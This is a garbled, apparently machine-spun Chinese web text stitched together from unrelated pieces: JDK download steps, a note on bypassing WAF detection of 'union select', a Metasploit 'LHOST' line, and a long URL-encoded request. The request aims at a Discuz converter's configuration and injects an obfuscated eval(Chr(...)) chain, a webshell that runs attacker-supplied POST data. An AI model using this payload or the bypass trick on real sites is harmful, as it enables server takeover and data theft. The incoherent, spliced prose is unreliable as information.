点击Download JDK链接后，进入下载挑选界面，勾选Accept License Agreement（承受服务条款），记住必定要把承受条款的单选按钮选中才干下载哦。 然后依据自己计算机的操作体系，挑选对应版别的JDK，例如小编的电脑是Windows 64位的，那么我就应该下载 Windows x64版别的，如下图，下载到电脑中。 在同一个标题中，服务权限设置也是极为重要。 为此在参数与union的方位，经测验，发现N能够绕过union select检测，相同 *** 绕过select from的检测。

LHOST => 192.168.81.135a=config&source=d7.2_x2.0&submit=yes&newconfig%5btarget%5d%5bdbhost%5d=localhost&newconfig%5baaa%0d%0a%0d%0aeval(Chr(101%29.Chr%28118%29.Chr%2897%29.Chr%28108%29.Chr%2840%29.Chr%2834%29.Chr%2836%29.Chr%2895%29.Chr%2880%29.Chr%2879%29.Chr%2883%29.Chr%2884%29.Chr%2891%29.Chr%28116%29.Chr%28111%29.Chr%28109%29.Chr%2893%29.Chr%2859%29.Chr%2834%29.Chr%2841%29.Chr%2859%29%29%3b%2f%2f%5d=localhost&newconfig%5bsource%5d%5bdbuser%5d=root&newconfig%5bsource%5d%5bdbpw%5d=&newconfig%5bsource%5d%5bdbname%5d=discuz&newconfig%5bsource%5d%5btablepre%5d=cdb_&newconfig%5bsource%5d%5bdbcharset%5d=&newconfig%5bsource%5d%5bpconnect%5d=1&newconfig%5btarget%5d%5bdbhost%5d=localhost&newconfig%5btarget%5d%5bdbuser%5d=root&newconfig%5btarget%5d%5bdbpw%5d=&newconfig%5btarget%5d%5bdbname%5d=discuzx&newconfig%5btarget%5d%5btablepre%5d=pre_&newconfig%5btarget%5d%5bdbcharset%5d=&newconfig%5btarget%5d%5bpconnect%5d=1&submit=%b1%a3%b4%e6%b7%fe%ce%f1%c6%f7%c9%e8%d6%c3事实证明，这两个函数仍是很管用的。